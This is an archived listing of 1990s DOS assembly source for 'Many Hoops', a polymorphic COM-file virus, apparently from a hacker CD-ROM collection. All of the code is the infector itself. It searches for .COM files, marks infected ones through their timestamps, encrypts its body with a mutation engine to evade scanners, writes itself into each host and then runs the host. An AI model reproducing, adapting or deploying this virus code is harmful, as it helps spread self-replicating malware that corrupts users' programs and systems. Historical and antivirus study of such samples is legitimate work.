home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / GENETIC / MANYHOOP.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-11  |  7.3 KB  |  170 lines

  1. ;Many Hoops
  2. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved.
  3.  
  4. ;A small Visible Mutation Engine based COM infector.
  5.  
  6. .model  tiny
  7. .code
  8.  
  9.                 extrn   host:near               ;host program
  10.                 extrn   encrypt:near            ;visible mutation engine
  11.                 extrn   init_gene:near          ;initialize gene routine
  12.                 extrn   init_genetic:near       ;mutate and init genetic subsystem
  13.  
  14. ;DTA definitions
  15. DTA             EQU     0000H           ;Disk transfer area
  16. FSIZE           EQU     DTA+1AH         ;file size location in file search
  17. FNAME           EQU     DTA+1EH         ;file name location in file search
  18.  
  19.                 ORG     100H
  20.  
  21. ;******************************************************************************
  22. ;The virus starts here.
  23.  
  24. VIRSTART:
  25.                 call    GETLOC
  26. GETLOC:         pop     bp
  27.                 sub     bp,OFFSET GETLOC                ;heres where virus starts
  28.                 mov     ax,ds
  29.                 add     ax,1000H
  30.                 mov     es,ax                           ;upper segment is this one + 1000H
  31.  
  32. ;Now it's time to find a viable file to infect. We will look for any COM file
  33. ;and see if the virus is there already.
  34. FIND_FILE:
  35.                 push    ds
  36.                 mov     ds,ax
  37.                 xor     dx,dx                           ;move dta to high segment
  38.                 mov     ah,1AH                          ;so we don't trash the command line
  39.                 int     21H                             ;which the host is expecting
  40.                 pop     ds
  41.                 mov     dx,OFFSET COMFILE
  42.                 add     dx,bp
  43.                 mov     cl,3FH                          ;search for any file, no matter what attribute
  44.                 mov     ah,4EH                          ;DOS search first function
  45.                 int     21H
  46. CHECK_FILE:     jnc     NXT1
  47.                 jmp     ALLDONE                         ;no COM files to infect
  48. NXT1:           mov     dx,FNAME                        ;first open the file
  49.                 push    ds
  50.                 push    es
  51.                 pop     ds
  52.                 mov     ax,3D02H                        ;r/w access open file, since we'll want to write to it
  53.                 int     21H
  54.                 pop     ds
  55.                 jc      NEXT_FILE
  56.                 mov     bx,ax                           ;put file handle in bx, and leave it there for the duration
  57.                 mov     ax,5700H                        ;get file attribute
  58.                 int     21H
  59.                 mov     ax,cx
  60.                 xor     ax,dx                           ;date xor time mod 10 = 3 for infected file
  61.                 xor     dx,dx
  62.                 mov     cx,10
  63.                 div     cx
  64.                 cmp     dx,3
  65.                 jnz     INFECT_FILE                     ;not 3, go infect
  66.  
  67. NEXT_FILE:      mov     ah,4FH                          ;look for another file
  68.                 int     21H
  69.                 jmp     SHORT CHECK_FILE                ;and go check it out
  70.  
  71. COMFILE         DB      '*.COM',0
  72. FIRST           DB      0                               ;flag for 1st generation
  73.  
  74. ;When we get here, we've opened a file successfully, and read it into memory.
  75. ;In the high segment, the file is set up exactly as it will look when infected.
  76. ;Thus, to infect, we just rewrite the file from the start, using the image
  77. ;in the high segment.
  78. INFECT_FILE:
  79.                 push    bx                              ;save file handle
  80.                 cmp     ds:[bp][FIRST],0                ;first generation?
  81.                 jnz     INF1                            ;nope, evolve gene
  82.                 mov     ds:[bp][FIRST],1                ;else set flag
  83.                 call    INIT_GENE                       ;and init gene
  84. INF1:           call    INIT_GENETIC                    ;initialize rand # gen
  85.                 mov     si,100H                         ;ds:si==>code to encrypt
  86.                 add     si,bp
  87.                 mov     di,100H                         ;es:di==>@ of encr code
  88.                 xor     dx,dx                           ;random decryptor size
  89.                 mov     cx,OFFSET HOST - 100H           ;size of code to encrypt
  90.                 mov     bx,100H                         ;starting offset
  91.                 call    ENCRYPT                         ;on exit, es:di=code cx=size
  92.                 pop     bx
  93.  
  94.                 push    ds
  95.                 push    es
  96.                 pop     ds
  97.                 push    cx
  98.                 mov     di,FSIZE
  99.                 mov     dx,cx
  100.                 add     dx,100H                         ;put host here
  101.                 mov     cx,[di]                         ;get file size for reading into buffer
  102.                 mov     ah,3FH                          ;DOS read function
  103.                 int     21H
  104.  
  105.                 xor     cx,cx
  106.                 mov     dx,cx                           ;reset file pointer to start of file
  107.                 mov     ax,4200H
  108.                 int     21H
  109.                 pop     cx
  110.                 add     cx,[di]
  111.  
  112.                 mov     dx,100H
  113.                 mov     ah,40H
  114.                 int     21H                             ;write encrypted virus to file
  115.                 pop     ds
  116.  
  117.                 mov     ax,5700H                        ;get date & time on file
  118.                 int     21H
  119.                 push    dx
  120.                 mov     ax,cx                           ;fix it
  121.                 xor     ax,dx
  122.                 mov     cx,10
  123.                 xor     dx,dx
  124.                 div     cx
  125.                 mul     cx
  126.                 add     ax,3
  127.                 pop     dx
  128.                 xor     ax,dx
  129.                 mov     cx,ax
  130.                 mov     ax,5701H                        ;and save it
  131.                 int     21H
  132.  
  133. EXIT_ERR:
  134.                 mov     ah,3EH                          ;close the file
  135.                 int     21H
  136.  
  137. ;The infection process is now complete. This routine moves the host program
  138. ;down so that its code starts at offset 100H, and then transfers control to it.
  139. ALLDONE:
  140.                 mov     ax,ss                   ;set ds, es to low segment again
  141.                 mov     ds,ax
  142.                 mov     es,ax
  143.                 pushf
  144.                 push    ax                      ;prep for iret to host
  145.                 mov     dx,80H                  ;restore dta to original value
  146.                 mov     ah,1AH                  ;for compatibility
  147.                 int     21H
  148.                 mov     di,100H                 ;prep to move host back to original location
  149.                 mov     si,OFFSET HOST
  150.                 add     si,bp
  151.                 push    di
  152.                 mov     ax,sp
  153.                 sub     ax,6
  154.                 push    ax
  155.                 mov     ax,00CFH                ;iret on the stack
  156.                 push    ax
  157.                 mov     ax,0A4F3H               ;rep movsb on the stack
  158.                 push    ax
  159.                 mov     cx,sp                   ;move code, but don't trash the stack
  160.                 sub     cx,si
  161.                 cli                             ;don't allow stack to trash while we go crazy
  162.                 add     sp,4
  163.                 ret
  164.  
  165.                 END     VIRSTART
  166.  
  167.  
  168.  
  169.  
  170.